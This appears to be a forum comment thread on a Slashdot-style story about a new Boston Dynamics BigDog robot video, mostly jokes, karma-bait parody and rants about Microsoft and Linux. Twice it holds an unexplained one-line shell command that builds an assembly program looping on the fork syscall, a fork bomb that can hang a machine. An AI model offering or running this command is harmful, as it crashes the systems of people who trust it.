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New BigDog Robot Video
John860 writes "The US company Boston Dynamics has released an amazing new video of its quadruped robot BigDog. The highlight of the video (at 1:24) shows how the robot starts slipping on ice, almost falls several times, but finally regains its balance and continues walking. The video also shows the robot's ability to cope with different types of terrains, climb and descend steep slopes, and jump. Two years ago, the older version of BigDog was already able to climb slopes, keep its balance after a strong kick, and walk on rough terrain like stones, mud, and snow. The new version weighs 235 lbs and can carry a payload of up to 340 lbs, a factor of 4 better than its predecessor."
Time to break out all the 'robotic overlords' jokes.
Who cares? Karma is just a number. I'd rather have crap karma and say what I want than parrot played out memes like a well trained monkey and get modded up for it.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Yeah, I agree. Moderation is such an overrated thing.
I also think that Microsoft has done quite a bit to damage the computer industry. While it's not possible to put a direct number on the damage, it should be clear that their stranglehold on the industry has led to technological stagnation and a homogenous techno-ecosystem. This makes the entire system weaker due to the system's single point of failure.
On the other hand, Linux is probably the best answer to the ecosystem problem. By injecting fresh techno-DNA into the mix, we are able to see vast improvements in both network hardiness as well as true innovation and invention, the least of which is demonstrated by this mechanical goat. While I am not sure whether it runs Linux or not, it is pretty obvious that it *could* run Linux and that we are all better off for it.
Macs are also pretty good, and I wish they had a larger marketshare to really put the pressure on Microsoft to improve Windows or die. They make really great hardware and second-to-none software, so it will be interesting watching as their marketshare climbs.
Really, karma is totally overrated, and I don't want to have anything to do with it. If you agree, mod this post up so that it is seen by many people.
http://www.microsoft-watch.com/ On the other hand, Linux is probably the best answer to the ecosystem problem. Have you read the Cathedral and the Bizarre? It's a very Insightful article about that!
http://catb.org/~esr/writings/cathedral-bazaar/cathedral-bazaar/
I for one welcome our new Linux overlords.
Hopefully someone will find a way to make the Robot Dog swim and put a laser on its head, like Dr Good did with whales in the movie Wayne's World. Party on Austin Powers! was very Funny and Underrated catchphrase. Really, karma is totally overrated, and I don't want to have anything to do with it. Yeah, things like this just show how much this country has dumbed down since Bush was [s]elected President, I'm seriously considering moving to North Korea. Did you know they have free health care there?
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;